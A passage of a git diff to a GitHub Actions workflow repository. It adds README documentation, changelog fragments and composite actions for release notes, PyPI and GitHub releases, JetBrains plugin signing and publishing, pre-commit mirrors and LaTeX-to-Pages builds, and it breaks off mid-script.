+ github-release: + name: ๐Ÿš€ Publish GitHub Release + needs: [build, pypi, notes] + uses: tox-dev/github-workflows/.github/workflows/github-release.yaml@SHA + permissions: + contents: write + with: + project: pytest-print + version: ${{ github.ref_name }} + tag: ${{ github.ref_name }} + artifact-pattern: python-package-distributions + notes-artifact-id: ${{ needs.notes.outputs.artifact-id }} +``` + +A repository with a shared changelog, such as toml-fmt, sets `package` per package. Its build job is a reusable workflow +of the repository itself, which exposes `version` as an output: + +```yaml +name: ๐Ÿš€ pyproject-fmt +on: + push: + tags: ["pyproject-fmt/*"] +permissions: {} +concurrency: + group: release-${{ github.ref }} + cancel-in-progress: false +jobs: + build: + name: ๐Ÿ—๏ธ Build distributions + uses: ./.github/workflows/pyproject_fmt_build.yaml + permissions: + contents: read + pull-requests: read + notes: + name: ๐Ÿ“ Render GitHub Release notes + uses: tox-dev/github-workflows/.github/workflows/release-notes.yaml@SHA + permissions: + contents: read + with: + tag: ${{ github.ref_name }} + package: pyproject-fmt + artifact-url: https://pypi.org/project/pyproject-fmt/${{ replace(github.ref_name, 'pyproject-fmt/', '') }}/ + pypi: + name: ๐Ÿš€ Publish to PyPI + needs: build + runs-on: ubuntu-26.04 + environment: + name: release + url: https://pypi.org/project/pyproject-fmt/${{ needs.build.outputs.version }}/ + permissions: + id-token: write + steps: + - name: ๐Ÿ“ฉ Download distributions + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + pattern: pyproject-fmt-wheels-* + path: dist + merge-multiple: true + - name: ๐Ÿš€ Publish to PyPI + uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086 # v1.14.3 + with: + packages-dir: dist + github-release: + name: ๐Ÿš€ Publish GitHub Release + needs: [build, pypi, notes] + uses: tox-dev/github-workflows/.github/workflows/github-release.yaml@SHA + permissions: + contents: write + with: + project: pyproject-fmt + version: ${{ needs.build.outputs.version }} + tag: ${{ github.ref_name }} + artifact-pattern: pyproject-fmt-wheels-* + notes-artifact-id: ${{ needs.notes.outputs.artifact-id }} +``` + +`release-notes.yaml` passes `package` to `render-release-notes`. The Action's `previous` input still defaults to `auto`, +so callers need no separate `select-previous-tag` step. + +The `github-release` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and +`merge_group` callers. Its first step fails with an error that names the event, before any artifact is downloaded or the +release is written. Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + ## Render GitHub Release notes `render-release-notes` checks the tag and its changelog section, finds the previous tag, and renders an unwrapped GitHub @@ -463,9 +1041,11 @@ creates the Release; this Action only writes a local Markdown file. publishes several packages puts one URL per line; the links share one line of the body, separated by commas. - `artifact-label`: Link text for each `artifact-url` line, in the same order; default `PyPI release`. Use `Zipapp` or another product name for a different artifact. `release-creator` adds an emoji for the link's ecosystem. +- `previous`: Previous tag, or `auto` (default) to calculate it from Git history. +- `package`: Package section of a shared Markdown changelog, such as `pyproject-fmt`; empty for one package. -The Action reads `GITHUB_REPOSITORY` for PR and comparison links. A repository with separate release namespaces, such as -toml-fmt, calls `release-creator notes --package` directly for its package changelog. +The Action reads `GITHUB_REPOSITORY` for PR and comparison links. A repository with a shared changelog, such as +toml-fmt, passes its package name in the `package` input. **Output:** No named output. **Working-tree effect:** The Action writes only `$RUNNER_TEMP/release-notes.md`. Pass it to `gh release create --notes-file` only after the ecosystem publisher succeeds. It rejects an invalid tag, a missing @@ -513,13 +1093,17 @@ no credentials. `publish-github-release` writes a GitHub Release from the rendered notes. Pass the exact notes file and the tag's commit SHA. A retry resumes the existing draft and updates its title, notes, and prerelease flag, or succeeds without a write -when the Release is already published. Run it in a Contents-write job that downloads the notes and optional assets; it -needs no checkout or tool installation. For a repository that must upload GitHub assets before PyPI, call it with +when the Release is already published. + +Run it in a Contents-write job that downloads the notes and optional assets; it needs no checkout or tool installation. +[`github-release.yaml`](#render-release-notes-and-publish-the-github-release) runs this Action in `complete` mode after +the PyPI check. For a repository that must upload GitHub assets before PyPI, call the Action directly with `mode: stage`, verify PyPI's exact artifact set, then call it with `mode: publish` and the same `assets-directory`. The -draft stays private until the second call succeeds. Enable immutable releases in the repository before using this -Action. The Action checks a draft's assets again before upload and publication. A published release whose API record is -immutable has its assets checked from the release listing, with no write or second fetch. Older mutable releases retain -the asset recheck. +draft stays private until the second call succeeds. + +Enable immutable releases in the repository before using this Action. The Action checks a draft's assets again before +upload and publication. A published release whose API record is immutable has its assets checked from the release +listing, with no write or second fetch. Older mutable releases retain the asset recheck. ```yaml - uses: tox-dev/github-workflows/publish-github-release@SHA @@ -557,11 +1141,12 @@ ends. `publish-post-release-pr` consumes a candidate commit prepared without an App token. The preparation job records the base commit, desired branch, and a tab-separated file of changed paths and Git blob SHA1 values, then creates a Git bundle containing `refs/heads/release-candidate` and its full history. A thin bundle fails verification in the writer's -empty bare repository. Upload the bundle, path file, and body as one artifact. Pass the upload step's artifact ID to the -writer's download step, so a rerun cannot select an older artifact with the same name. The writer runs without checkout -under the caller's `release-auth` environment and needs Contents, Pull requests, and Issues write access for its App -token. Put `publish-post-release-pr` last in the writer job because its Git credential helper remains available to later -steps. +empty bare repository. + +Upload the bundle, path file, and body as one artifact. Pass the upload step's artifact ID to the writer's download +step, so a rerun cannot select an older artifact with the same name. The writer runs without checkout under the caller's +`release-auth` environment and needs Contents, Pull requests, and Issues write access for its App token. Put +`publish-post-release-pr` last in the writer job because its Git credential helper remains available to later steps. ```yaml - uses: actions/download-artifact@DOWNLOAD_SHA @@ -594,14 +1179,41 @@ deleted branch succeeds. A closed, unmerged PR fails before the Action creates a before retrying. When the prepared change has already merged and produced no new commit, pass empty `bundle` and `candidate-commit` values with the same path manifest; the Action finds the merged PR. The Action has no named output. +## Check a JetBrains plugin + +`jetbrains-plugin-check.yaml` builds the plugin ZIP, records its SHA256, runs `verifyPlugin` for each `verify-matrix` +entry, and runs the Xvfb UI tests. Its `gate` job runs `required-checks` over `build`, `verify`, and `ui-test`. Lint and +unit tests stay in the caller. The workflow needs no secret and holds `contents: read`. + +```yaml +jobs: + plugin: + uses: tox-dev/github-workflows/.github/workflows/jetbrains-plugin-check.yaml@SHA + permissions: + contents: read +``` + +- `plugin-version`: written to `pluginVersion` before the build, with a leading `v` removed. Empty keeps the committed + value. A release caller passes `${{ github.ref_name }}`. +- `verify-matrix`: JSON array of `{label, ide, version}` objects. The default verifies `PY` only. Add an entry with + `version: 263-EAP-SNAPSHOT` to catch platform APIs the next release removes. +- `ui-test-timeout`: seconds to wait for the test IDE to answer on port 8082. Default `300`. + +The workflow outputs `archive-sha256`, `archive-name`, and `artifact-id` from its `build` job for +`sign-jetbrains-plugin`. It selects exactly one ZIP that matches the version, and it keeps Gradle's cache off because +the ZIP feeds a signed release. The `unsigned-plugin` artifact is retained for 30 days. UI-test reports upload on +failure for 14 days. + ## Sign a JetBrains plugin `sign-jetbrains-plugin` signs an unsigned plugin ZIP after a keyless Gradle `buildPlugin` job. Run it in a fresh job on `ubuntu-26.04` with the signing environment, no checkout, and no Gradle invocation. Download the unsigned artifact and -pass the SHA256 emitted before that artifact was uploaded. The Action checks the file's digest, downloads JetBrains -Marketplace ZIP Signer 0.1.43 from Maven Central, verifies its pinned SHA256, and uses the runner's Java 17 -installation. It accepts plain PEM or base64 credentials and an encrypted private key with its password. The private key -is mapped only into the sign step's environment. Its temporary file is removed when that step ends. +pass the SHA256 emitted before that artifact was uploaded. + +The Action checks the file's digest, downloads JetBrains Marketplace ZIP Signer 0.1.43 from Maven Central, verifies its +pinned SHA256, and uses the runner's Java 17 installation. It accepts plain PEM or base64 credentials and an encrypted +private key with its password. The private key is mapped only into the sign step's environment. Its temporary file is +removed when that step ends. ```yaml sign: @@ -638,6 +1250,40 @@ sign: pinned signer JAR. It makes no GitHub or Marketplace write. The caller uploads the signed ZIP as a GitHub Actions artifact after the Action succeeds. Keep the Marketplace token in a different no-checkout job. +## Stage and verify a JetBrains Marketplace release + +`stage-jetbrains-marketplace` checks a signed ZIP with `release-creator marketplace`. In `mode: stage`, before upload, +it outputs `publish` (`true` when no public version matches) and `channel`. In `mode: verify`, after the version is +public, it compares the public member bytes and outputs nothing. Install `release-creator` from the caller's locked +release tools first. + +The channel is the tag suffix before the first dot: `v1.2.3-beta.1` gives `beta`, and `v1.2.3` gives an empty Stable +channel. Pass `channel` to `publish-jetbrains-marketplace`. + +```yaml + marketplace-check: + needs: sign + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + publish: ${{ steps.stage.outputs.publish }} + channel: ${{ steps.stage.outputs.channel }} + steps: + - uses: actions/download-artifact@DOWNLOAD_SHA + with: + artifact-ids: ${{ needs.sign.outputs.artifact-id }} + path: dist + - id: stage + uses: tox-dev/github-workflows/stage-jetbrains-marketplace@SHA + with: + archive: dist/Plugin-1.2.3-signed.zip + sha256: ${{ needs.sign.outputs.sha256 }} + plugin-id: com.github.toxdev.fish + version: ${{ github.ref_name }} + mode: stage +``` + ## Publish a JetBrains plugin `publish-jetbrains-marketplace` uploads one signed ZIP through the @@ -678,12 +1324,13 @@ marketplace-publish: ``` `channel` is empty for Stable; use a Marketplace channel name for a prerelease. Keep the publishing step named -`๐Ÿš€ Publish signed ZIP`. The Action recognizes that name and three older upload step names in prior runs. Keep those -names in the Action when adding another. Give the job Actions read access and the workflow a concurrency group keyed by -tag. Use the `release` environment on the upload job. The Action searches earlier tag runs for a started upload step. An -acceptance receipt must match the original artifact IDs, signed ZIP digest, and release notes bytes before the Action -skips upload. An earlier upload step without a receipt stops for manual reconciliation. A renamed publishing step is not -recognized in earlier runs until the Action knows its name. +`๐Ÿš€ Publish signed ZIP`. The Action recognizes that name and three older upload step names in prior runs. Give the job +Actions read access and the workflow a concurrency group keyed by tag. Use the `release` environment on the upload job. + +The Action searches earlier tag runs for a started upload step. An acceptance receipt must match the original artifact +IDs, signed ZIP digest, and release notes bytes before the Action skips upload. An earlier upload step without a receipt +stops for manual reconciliation. A renamed publishing step is not recognized in earlier runs until the Action knows its +name. **Output:** A `marketplace-acceptance--` Actions artifact after a new upload. It records the tag, commit, plugin, channel, signed ZIP artifact and SHA256, and notes artifact and SHA256. **Remote effect:** One multipart upload @@ -697,6 +1344,115 @@ rerun the tag workflow: the keyless stage check must skip Marketplace upload bef Marketplace rejected the update, resolve the rejection and prepare a new release tag. A 404 alone does not authorize another upload of the same tag. +## Prepare the JetBrains post-release version + +`prepare-jetbrains-post-release` runs in a keyless job after a release. It requires a plain `X.Y.Z` tag, writes the next +`X.Y.(Z+1)-dev` version to the version file, and writes `paths.tsv`, `body.md`, and `candidate.bundle` to `output-dir`. +The writer job uploads those files with the App token from the `release-auth` environment, and passes them to +`publish-post-release-pr`. The Action does not touch the App token: it reads the App's public user ID with +`github-token` to author the commit. + +```yaml + post-release-prepare: + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + base-commit: ${{ steps.change.outputs.base-commit }} + candidate-commit: ${{ steps.change.outputs.candidate-commit }} + branch: ${{ steps.change.outputs.branch }} + next-version: ${{ steps.change.outputs.next-version }} + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + - uses: actions/checkout@CHECKOUT_SHA + with: + ref: main + fetch-depth: 0 + persist-credentials: false + - id: change + uses: tox-dev/github-workflows/prepare-jetbrains-post-release@SHA + with: + tag: ${{ github.ref_name }} + app-slug: tox-dev-jetbrains-fish-release + github-token: ${{ github.token }} + output-dir: ${{ runner.temp }}/post-release + - id: upload + uses: actions/upload-artifact@UPLOAD_SHA + with: + name: post-release-${{ github.run_id }}-${{ github.run_attempt }} + path: ${{ runner.temp }}/post-release/* + if-no-files-found: error +``` + +## Publish a pre-commit mirror + +`publish-pre-commit-mirror.yaml` generates a pre-commit mirror of a Python package's hook with pre-commit-mirror-maker +1.14.0, formats the result with prek 0.5.5, and commits each new version as `Mirror: `. On `main`, one atomic +push updates the branch and creates a `v` tag per new version, then a GitHub release is created for each tag. A +run with no new upstream version changes nothing. + +- Formatting runs twice. The first run may rewrite files and exit 1; the second run must pass on the rewritten tree. Any + other exit status fails the job. +- When one run mirrors several versions, only the newest commit gets the README update and the formatting. Older tags + keep the tree pre-commit-mirror-maker generated. +- A version whose tag already exists on origin is a no-op when the regenerated tree matches the tag, so the daily run + succeeds with a notice. A different tree fails the run and names both trees. A published tag is never moved, because a + moved tag changes the rev users have pinned; bump the package version to publish new content. +- The job runs the repository's pre-commit hooks while it holds `contents: write`. Trigger it on pushes to `main`, + schedules, and manual dispatches. It refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, + and `merge_group` callers before it checks out the repository, so no pull request's hook code runs with that token. + +```yaml +name: Mirror +on: + push: + branches: [main] + workflow_dispatch: + schedule: + - cron: "30 8 * * *" +permissions: {} +jobs: + mirror: + uses: tox-dev/github-workflows/.github/workflows/publish-pre-commit-mirror.yaml@SHA + permissions: + contents: write + with: + package-name: pyproject-fmt + files-regex: '(^|/)pyproject\.toml$' +``` + +## Build a LaTeX document to GitHub Pages + +`latex-to-pages.yaml` compiles `root-file` with latexmk, pins `SOURCE_DATE_EPOCH` to the checked-out commit time, and +uploads the PDF as the `latex-pdf` artifact. On `main` it deploys to `gh-pages` in the `release` environment, then polls +the Pages build for up to 20 minutes until the served PDF has the built SHA256. GitHub Pages must be enabled for +`gh-pages`. The PDF is served at `https://.github.io//.pdf`, where `` is the root file's base +name. + +```yaml +name: Build LaTeX document +on: + workflow_dispatch: + push: + branches: ["main"] + pull_request: + schedule: + - cron: "0 8 * * *" +permissions: {} +jobs: + pdf: + uses: tox-dev/github-workflows/.github/workflows/latex-to-pages.yaml@SHA + permissions: + contents: write + pages: read + with: + root-file: main.tex +``` + +The `deploy` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers before it checks out the repository. It also runs only when the ref is `main`, so a `pull_request` trigger in +the example builds the PDF without deploying it. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+allowed-paths.feature.md b/changelog.d/+allowed-paths.feature.md new file mode 100644 index 0000000..2481e53 --- /dev/null +++ b/changelog.d/+allowed-paths.feature.md @@ -0,0 +1,3 @@ +Add an `allowed-paths` input to `validate-release-patch`. When it is set, the patch may change only the paths matching +those glob patterns, and the Towncrier configuration is no longer read. Without it, the Action checks the changelog and +fragment deletions as before. diff --git a/changelog.d/+build-maturin-wheels.feature.md b/changelog.d/+build-maturin-wheels.feature.md new file mode 100644 index 0000000..eed8e61 --- /dev/null +++ b/changelog.d/+build-maturin-wheels.feature.md @@ -0,0 +1,5 @@ +Add `build-maturin-wheels.yaml`, a reusable workflow that builds a maturin extension's wheels and sdist from a JSON +build matrix and uploads them under the artifact names the caller's publisher expects. Wheels use the maturin version +from the caller's hash-checked `release-build` group, and the sdist uses its `build` group. Jobs hold read-only +permissions. The optional `pre-build-command` runs once before the source upload, and `post-build-command` runs in each +wheel job after maturin. diff --git a/changelog.d/+check-nab-exceptions-action.feature.md b/changelog.d/+check-nab-exceptions-action.feature.md new file mode 100644 index 0000000..9beaa59 --- /dev/null +++ b/changelog.d/+check-nab-exceptions-action.feature.md @@ -0,0 +1,2 @@ +Add `check-nab-exceptions`, a composite action that runs the cutoff exception expiry check on its own, without the lock +refresh. diff --git a/changelog.d/+check-workflow.feature.md b/changelog.d/+check-workflow.feature.md new file mode 100644 index 0000000..753b23e --- /dev/null +++ b/changelog.d/+check-workflow.feature.md @@ -0,0 +1,3 @@ +Add `check.yaml`, a reusable workflow that runs a tox matrix for a Python library. Each row sets its Python and runner. +The tox install follows the upload cutoff, and Ubuntu packages and coverage data are optional; a caller job merges the +coverage data. diff --git a/changelog.d/+codeql-workflow.feature.md b/changelog.d/+codeql-workflow.feature.md new file mode 100644 index 0000000..9b07a89 --- /dev/null +++ b/changelog.d/+codeql-workflow.feature.md @@ -0,0 +1,2 @@ +Add `codeql.yaml`, a reusable workflow that runs CodeQL for a list of languages, with inputs for ignored paths, query +suite, configuration file, and build mode. A caller keeps its own triggers and grants `security-events: write`. diff --git a/changelog.d/+github-release-workflow.feature.md b/changelog.d/+github-release-workflow.feature.md new file mode 100644 index 0000000..9901b54 --- /dev/null +++ b/changelog.d/+github-release-workflow.feature.md @@ -0,0 +1,3 @@ +Add `github-release.yaml`, a reusable workflow that verifies the PyPI files and publishes the GitHub Release in a job +that runs in the caller's `release` environment. It replaces the reconcile and publish steps that callers otherwise +copy. diff --git a/changelog.d/+jetbrains-marketplace-stage.feature.md b/changelog.d/+jetbrains-marketplace-stage.feature.md new file mode 100644 index 0000000..3e6ad2f --- /dev/null +++ b/changelog.d/+jetbrains-marketplace-stage.feature.md @@ -0,0 +1,2 @@ +Add `stage-jetbrains-marketplace`, a composite action that checks a signed plugin ZIP against JetBrains Marketplace +before upload and again after the version is public, and derives the Marketplace channel from the tag suffix. diff --git a/changelog.d/+jetbrains-plugin-check.feature.md b/changelog.d/+jetbrains-plugin-check.feature.md new file mode 100644 index 0000000..ad1e2e0 --- /dev/null +++ b/changelog.d/+jetbrains-plugin-check.feature.md @@ -0,0 +1,4 @@ +Add `jetbrains-plugin-check.yaml`, a reusable workflow that builds the plugin ZIP and records its SHA256, runs +`verifyPlugin` for each entry of the `verify-matrix` input, runs the Xvfb UI tests with a configurable timeout for the +test IDE, and requires all of them to pass. A release caller passes the tag as `plugin-version` and signs the ZIP from +the recorded digest. diff --git a/changelog.d/+jetbrains-post-release.feature.md b/changelog.d/+jetbrains-post-release.feature.md new file mode 100644 index 0000000..67a3622 --- /dev/null +++ b/changelog.d/+jetbrains-post-release.feature.md @@ -0,0 +1,2 @@ +Add `prepare-jetbrains-post-release`, a composite action that commits the next `-dev` plugin version after a release +without an App token, so `publish-post-release-pr` can open the bump pull request. diff --git a/changelog.d/+latex-to-pages.feature.md b/changelog.d/+latex-to-pages.feature.md new file mode 100644 index 0000000..376aad7 --- /dev/null +++ b/changelog.d/+latex-to-pages.feature.md @@ -0,0 +1,2 @@ +Add `latex-to-pages.yaml`, a reusable workflow that builds a LaTeX root file with a commit-pinned `SOURCE_DATE_EPOCH`, +publishes the PDF to GitHub Pages from `main`, and waits until Pages serves the built bytes. diff --git a/changelog.d/+nab-exception-expiry.change.md b/changelog.d/+nab-exception-expiry.change.md new file mode 100644 index 0000000..7d6af9f --- /dev/null +++ b/changelog.d/+nab-exception-expiry.change.md @@ -0,0 +1,3 @@ +`refresh-release-lock` in `check` mode, which `validate-news` runs, fails for a `[tool.nab]` cutoff exception that has +no `# expires YYYY-MM-DD` comment directly above it, has a malformed date, or has passed its date. The error names the +package. Add the comment above each existing exception. diff --git a/changelog.d/+open-maintenance-pr.feature.md b/changelog.d/+open-maintenance-pr.feature.md new file mode 100644 index 0000000..e802d50 --- /dev/null +++ b/changelog.d/+open-maintenance-pr.feature.md @@ -0,0 +1,3 @@ +Add `open-maintenance-pr.yaml`, a reusable workflow that opens or updates a pull request from a read-only job's patch. +The patch must touch only the caller's `allowed-paths`, as regular non-executable files or deletions, and the App token +is minted only after that check. diff --git a/changelog.d/+pre-commit-mirror.feature.md b/changelog.d/+pre-commit-mirror.feature.md new file mode 100644 index 0000000..c21ec1d --- /dev/null +++ b/changelog.d/+pre-commit-mirror.feature.md @@ -0,0 +1,3 @@ +Add `publish-pre-commit-mirror.yaml`, a reusable workflow for pre-commit mirrors that pins the mirror maker and prek, +checks formatting with a second run, never moves a published tag, treats an already-published identical version as a +no-op, and pushes the branch and every new tag in one atomic push, creating a release for each tag. diff --git a/changelog.d/+prepare-release-creator.feature.md b/changelog.d/+prepare-release-creator.feature.md new file mode 100644 index 0000000..3faeb4e --- /dev/null +++ b/changelog.d/+prepare-release-creator.feature.md @@ -0,0 +1,4 @@ +Add `prepare-release-creator.yaml`, a reusable workflow that prepares releases for repositories that use +release-creator. Its assemble job selects the version from the tags and pending fragments, links fragments to their pull +requests, runs the caller's changelog command, and uploads a patch. Its push job checks the patch against the caller's +allowed paths and pushes the release commit and tag with the release App token. diff --git a/changelog.d/+release-notes-workflow.feature.md b/changelog.d/+release-notes-workflow.feature.md new file mode 100644 index 0000000..e5e0661 --- /dev/null +++ b/changelog.d/+release-notes-workflow.feature.md @@ -0,0 +1,2 @@ +Add `release-notes.yaml`, a reusable workflow that renders the GitHub Release body in a read-only job and uploads it as +an artifact. Callers need not repeat the tool install, previous-tag selection, and upload steps. diff --git a/changelog.d/+render-package-notes.feature.md b/changelog.d/+render-package-notes.feature.md new file mode 100644 index 0000000..9ac3103 --- /dev/null +++ b/changelog.d/+render-package-notes.feature.md @@ -0,0 +1 @@ +Add a `package` input to `render-release-notes` that renders one package section of a shared Markdown changelog. diff --git a/changelog.d/+required-checks.feature.md b/changelog.d/+required-checks.feature.md new file mode 100644 index 0000000..b08cda8 --- /dev/null +++ b/changelog.d/+required-checks.feature.md @@ -0,0 +1,3 @@ +Add `required-checks`, a composite action that fails unless every job in a `needs` context succeeded. Its +`allow-skipped` input names jobs that may end skipped. A gate calls it in place of an inline `jq` expression, and the +required check name stays with the caller. diff --git a/changelog.d/+update-python-dependencies.feature.md b/changelog.d/+update-python-dependencies.feature.md new file mode 100644 index 0000000..0c65ff6 --- /dev/null +++ b/changelog.d/+update-python-dependencies.feature.md @@ -0,0 +1,4 @@ +Add `update-python-dependencies.yaml`, a reusable workflow that bumps Python dependency floors, regenerates +`pylock.toml`, and opens one dependency pull request. Bumps wait out a seven-day cooldown by default, and `expedite` +lifts it for named packages in one run. With `kind: library`, the `fresh-groups` take their newest release at once, and +the other groups wait. diff --git a/changelog.d/+weekly-exception-expiry.change.md b/changelog.d/+weekly-exception-expiry.change.md new file mode 100644 index 0000000..6d67311 --- /dev/null +++ b/changelog.d/+weekly-exception-expiry.change.md @@ -0,0 +1,2 @@ +`upgrade-release-tools.yaml` checks cutoff exceptions before it refreshes the lock. A scheduled run now fails on an +expired or undated exception and names the package, even when no release input changed. diff --git a/changelog.d/+writer-refuses-untrusted-events.change.md b/changelog.d/+writer-refuses-untrusted-events.change.md new file mode 100644 index 0000000..0b564e1 --- /dev/null +++ b/changelog.d/+writer-refuses-untrusted-events.change.md @@ -0,0 +1,5 @@ +The writer jobs in `open-maintenance-pr.yaml`, `prepare-release-creator.yaml`, `prepare-towncrier-release.yaml`, +`github-release.yaml`, `publish-pre-commit-mirror.yaml`, and `latex-to-pages.yaml` refuse callers that run on +`pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, or `merge_group`. The job fails with an error +before it checks out the repository or uses a token. Callers that ran a writer on those events must trigger it on +`push`, `schedule`, `workflow_dispatch`, or `release` instead. diff --git a/check-nab-exceptions/action.yml b/check-nab-exceptions/action.yml new file mode 100644 index 0000000..c34b469 --- /dev/null +++ b/check-nab-exceptions/action.yml @@ -0,0 +1,12 @@ +name: Check cutoff exception expiry +description: Fail when a Nab cutoff exception has no expiry comment or has passed its expiry +runs: + using: composite + steps: + - name: ๐Ÿ“… Check cutoff exception expiry + shell: bash + run: | + set -euo pipefail + files=(pyproject.toml) + if [[ -f nab.toml ]]; then files+=(nab.toml); fi + python3 "$GITHUB_ACTION_PATH/../tools/check_nab_exceptions.py" "${files[@]}" diff --git a/prepare-jetbrains-post-release/action.yml b/prepare-jetbrains-post-release/action.yml new file mode 100644 index 0000000..52f5bc6 --- /dev/null +++ b/prepare-jetbrains-post-release/action.yml @@ -0,0 +1,83 @@ +name: Prepare JetBrains post-release version bump +description: Commit the next development version without an App token, for publish-post-release-pr to reconcile +inputs: + tag: + description: Released tag, such as v1.2.3; the next version is the patch after it + required: true + version-file: + description: File with the pluginVersion key + default: gradle.properties + output-dir: + description: Directory that receives paths.tsv, body.md, and candidate.bundle for the artifact upload + required: true + app-slug: + description: Slug of the release App whose bot identity authors the commit + required: true + github-token: + description: Token that reads the App's public user ID + required: true +outputs: + base-commit: + description: Commit the candidate builds on, passed to publish-post-release-pr + value: ${{ steps.change.outputs.base-commit }} + candidate-commit: + description: Candidate commit, empty when the version already matches + value: ${{ steps.change.outputs.candidate-commit }} + branch: + description: Branch name for the post-release pull request + value: ${{ steps.version.outputs.branch }} + next-version: + description: Development version written to the version file + value: ${{ steps.version.outputs.next-version }} +runs: + using: composite + steps: + - name: ๐Ÿท๏ธ Select the next version + id: version + shell: bash + env: + TAG: ${{ inputs.tag }} + run: | + set -euo pipefail + version="${TAG#v}" + if [[ ! "$version" =~ ^([0-9]+)\.([0-9]+)\.([0-9]+)$ ]]; then + echo "::error::tag $TAG is not a plain X.Y.Z release, so no next version is derived" >&2 + exit 1 + fi + echo "next-version=${BASH_REMATCH[1]}.${BASH_REMATCH[2]}.$((BASH_REMATCH[3] + 1))-dev" >>"$GITHUB_OUTPUT" + echo "branch=post-release-$TAG" >>"$GITHUB_OUTPUT" + - name: โš™๏ธ Resolve the release App author + shell: bash + env: + APP_SLUG: ${{ inputs.app-slug }} + GH_TOKEN: ${{ inputs.github-token }} + run: | + set -euo pipefail + app_user_id=$(gh api "/users/${APP_SLUG}[bot]" --jq .id) + git config user.name "${APP_SLUG}[bot]" + git config user.email "${app_user_id}+${APP_SLUG}[bot]@users.noreply.github.com" + - name: ๐Ÿท๏ธ Prepare the exact version change + id: change + shell: bash + env: + TAG: ${{ inputs.tag }} + VERSION_FILE: ${{ inputs.version-file }} + NEXT_VERSION: ${{ steps.version.outputs.next-version }} + OUTPUT_DIR: ${{ inputs.output-dir }} + run: | + set -euo pipefail + mkdir -p "$OUTPUT_DIR" + base_commit=$(git rev-parse HEAD) + sed -i "s/^pluginVersion=.*/pluginVersion=$NEXT_VERSION/" "$VERSION_FILE" + git add "$VERSION_FILE" + printf '%s\t%s\n' "$VERSION_FILE" "$(git rev-parse ":$VERSION_FILE")" >"$OUTPUT_DIR/paths.tsv" + printf 'Set the next development version after %s.\n' "$TAG" >"$OUTPUT_DIR/body.md" + candidate_commit= + if ! git diff --cached --quiet; then + git commit -m "Bump version to $NEXT_VERSION after $TAG" + candidate_commit=$(git rev-parse HEAD) + git branch release-candidate HEAD + git bundle create "$OUTPUT_DIR/candidate.bundle" refs/heads/release-candidate + fi + echo "base-commit=$base_commit" >>"$GITHUB_OUTPUT" + echo "candidate-commit=$candidate_commit" >>"$GITHUB_OUTPUT" diff --git a/pyproject.toml b/pyproject.toml index 05f08a8..260e247 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -36,7 +36,8 @@ uploaded-prior-to = "P7D" python = ">=3.15,<3.16" platforms = ["linux_x86_64"] -# release-creator 4.4.0 needs a seven-day cutoff exception through 2026-11-09. +# release-creator 4.4.0 needs a seven-day cutoff exception. +# expires 2026-11-09 [tool.nab.packages.release-creator] uploaded-prior-to = 2026-11-02T21:45:00Z diff --git a/refresh-release-lock/action.yml b/refresh-release-lock/action.yml index e7bedfd..17bc3f7 100644 --- a/refresh-release-lock/action.yml +++ b/refresh-release-lock/action.yml @@ -35,6 +35,9 @@ outputs: runs: using: composite steps: + - name: ๐Ÿ“… Check cutoff exception expiry + if: inputs.mode == 'check' + uses: $/check-nab-exceptions - name: ๐Ÿ“ฆ Install Nab shell: bash env: @@ -169,7 +172,7 @@ runs: echo 'changed=false' >>"$GITHUB_OUTPUT" else echo 'changed=true' >>"$GITHUB_OUTPUT" - git diff --binary -- "${paths[@]}" >"$RUNNER_TEMP/lock.patch" - echo "Lock patch -> $RUNNER_TEMP/lock.patch:" + git diff --binary -- "${paths[@]}" >"$RUNNER_TEMP/maintenance.patch" + echo "Lock patch -> $RUNNER_TEMP/maintenance.patch:" git diff --stat -- "${paths[@]}" fi diff --git a/render-release-notes/action.yml b/render-release-notes/action.yml index 1e80d2f..c26c9c0 100644 --- a/render-release-notes/action.yml +++ b/render-release-notes/action.yml @@ -16,6 +16,9 @@ inputs: previous: description: Previous tag, or auto to calculate it from Git history default: auto + package: + description: Package section of a shared Markdown changelog, such as pyproject-fmt; empty for one package + default: "" runs: using: composite steps: @@ -47,6 +50,7 @@ runs: ARTIFACT_URL: ${{ inputs.artifact-url }} ARTIFACT_LABEL: ${{ inputs.artifact-label }} PREVIOUS: ${{ steps.previous.outputs.previous }} + PACKAGE: ${{ inputs.package }} run: | set -euo pipefail # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. @@ -55,6 +59,9 @@ runs: if [[ -n "$PREVIOUS" ]]; then args+=(--previous "$PREVIOUS") fi + if [[ -n "$PACKAGE" ]]; then + args+=(--package "$PACKAGE") + fi mapfile -t urls < <(grep -v '^[[:space:]]*$' <<<"$ARTIFACT_URL" || true) mapfile -t labels < <(grep -v '^[[:space:]]*$' <<<"$ARTIFACT_LABEL" || true) if ((${#labels[@]} && ${#labels[@]} != ${#urls[@]})); then diff --git a/required-checks/action.yml b/required-checks/action.yml new file mode 100644 index 0000000..d74f052 --- /dev/null +++ b/required-checks/action.yml @@ -0,0 +1,31 @@ +name: Require needed jobs +description: Fail unless every needed job succeeded, except the jobs named in allow-skipped, which may be skipped +inputs: + needs: + description: The needs context, passed as toJSON(needs) + required: true + allow-skipped: + description: Newline-separated job IDs that may end skipped + default: "" +runs: + using: composite + steps: + - name: ๐Ÿšฆ Require all needed jobs to pass + shell: bash + env: + NEEDS_JSON: ${{ inputs.needs }} + ALLOW_SKIPPED: ${{ inputs.allow-skipped }} + run: | + set -euo pipefail + jq -r 'to_entries[] | "Job \(.key): \(.value.result)"' <<<"$NEEDS_JSON" + skipped=$(jq -cn --arg list "$ALLOW_SKIPPED" '$list | split("\n") | map(select(length > 0))') + # Without this check, a typo fails the gate without naming allow-skipped. + if ! jq -e --argjson skipped "$skipped" '($skipped - keys) == []' <<<"$NEEDS_JSON" >/dev/null; then + echo "::error::allow-skipped names a job that is not in needs: $ALLOW_SKIPPED" >&2 + exit 1 + 